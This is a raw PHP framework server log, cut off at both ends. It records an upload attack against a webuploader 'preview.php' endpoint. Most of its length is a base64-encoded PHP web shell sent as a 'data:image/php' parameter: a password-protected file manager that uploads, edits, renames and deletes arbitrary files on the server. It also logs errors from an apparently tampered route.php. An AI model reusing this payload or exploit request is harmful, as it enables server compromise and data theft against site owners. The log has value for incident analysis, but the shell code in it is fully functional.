D09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:17+08:00 ] 119.42.146.234 POST 51tianwei.com/001/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.003010s] [吞吐率:332.25req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFz